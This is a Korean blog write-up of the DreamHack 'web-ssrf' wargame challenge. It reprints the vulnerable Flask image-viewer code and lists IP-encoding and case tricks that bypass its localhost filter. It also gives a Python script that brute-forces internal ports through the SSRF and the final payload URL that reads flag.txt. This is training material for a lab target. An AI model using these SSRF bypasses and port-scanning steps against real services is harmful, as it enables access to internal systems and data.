CIDY
[Web_Hacking] stage9_문제풀이(web-ssrf) 본문
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
이미지 뷰어로 뭘 하면 될 것 같은데.. 일단 localhost나 127.0.0.1은 막아놨다.
위 URL필터링을 우회할 필요가 있는데,
->127.0.0.1을 0x7f.0x00.0x00.0x01이나. 위를 풀어 쓴 0x7f000001이나, 그걸 또 10진수로 바꾼 2130706433이나, 0을 뺀 127.1이나, 127.0.1은 모두 같은 호스트 표현이다.
그리고 127.0.0.1부터 127.0.0.255까지는 루프백 주소라고, 암튼 모두 localhost를 가리킴
->URL에서 host, scheme부분은 대소문자 구분이 없으므로 LOCALHOST라고 적거나, LoCaLhOsT라고 적어도 무방하다.
그런데 또 코드를 보면 로컬포트 번호가 1500 ~ 1800중 랜덤한 숫자다. 으ㅇ악 -> 때려맞춰야 하는 부분이다.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
도저히 브포 코드를 스스로 쓸 자신이 없어서 드림핵에서 떼왔다. 포트 번호를 인자로 주면 된다.
내부서버가 /app에 있고, /app/flag.txt니까
위에서 우회한 로컬호스트 + :1622/flag.txt 하면 될 듯
http://LOCALHOST:1622/flag.txt
아니 이걸 왜 이런식으로 주는걸까...
img = base64.b64encode(data).decode("utf8")
위에 코드 보면 이렇게 돼 있으니까 base64에서 디코드해줘야 할듯.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[Web_Hacking] stage10_문제풀이(blind-command) (0) | 2022.07.30 |
---|---|
[Web_Hacking] stage10_문제풀이(Carve Party) (0) | 2022.07.30 |
[Web_Hacking] stage9_SSRF (0) | 2022.07.30 |
[Web_Hacking] stage8_문제풀이(file-download-1) (0) | 2022.07.30 |
[Web_Hacking] stage8_문제풀이(image-storage) (0) | 2022.07.30 |